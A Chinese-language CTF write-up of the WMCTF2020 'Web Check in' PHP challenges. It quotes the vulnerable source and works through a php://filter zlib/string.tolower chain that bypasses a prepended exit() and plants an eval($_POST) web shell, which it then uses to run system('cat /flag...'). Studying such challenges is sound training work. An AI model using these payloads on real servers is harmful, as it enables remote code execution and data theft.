[WMCTF2020]Web Check in 2.0&[WMCTF2020]Web Check in
知识点
源码
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
var_dump("Sandbox:".$sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
if(file_exists($content))
require_once($content);
file_put_contents($content,'<?php exit();'.$content);
}
解题步骤
file_put_contents可以进行php伪协议写入数据,关键就是如何绕过exit。根据上面的链接和官方wp:
https://github.com/wm-team/WMCTF2020-WriteUp/blob/master/WMCTF%202020%E5%AE%98%E6%96%B9WriteUp.md
预留了zlib、bzip2、string等过滤器, php:filter 支持使用多个过滤器,所以可以利用 zlib 的 zlib.deflate 和 zlib.inflate 来做,压缩后再解压后内容肯定不变,不过我们可以在中间遍历一下剩下的几个过滤器,看看中间操作时候会影响后续inflate的内容,简单遍历一下可以发现中间插入string.tolower转后会把空格和exit处理了就可以绕过exit
php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=Cyc1e.php
当然,也是可以通过构造单个 zlib.inflate 解压字符,通过 zlib.deflate 压缩来构造shell,这里就不多说了。
直接用这个payload打:
php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_POST[1]);?>/resource=Cyc1e.php
不知道为啥用get不太灵,没有回显,用POST就能成了。然后读取flag:
1=system("cat /flag_2233_elkf3ifj34ij3orf3fk4");
注意我们是在沙盒中创建的php,所以要加上沙盒路径:
http://f5dc73f4-fc1a-4db2-bb01-c8e09c3d93a6.node4.buuoj.cn:81/sandbox/f5d59ea6263e7290928552da91e8d5ee/Cyc1e.php
md,2.0可以打得通,不懂为啥另外一个打不通,属实蚌埠住了。本来就一模一样。看wp直接说非预期?content=/flag
,那只好拿2.0的flag名打一下:?content=/flag_2233_elkf3ifj34ij3orf3fk4
然后直接出了,虽然有些卑鄙,但是属实不懂为啥打不通。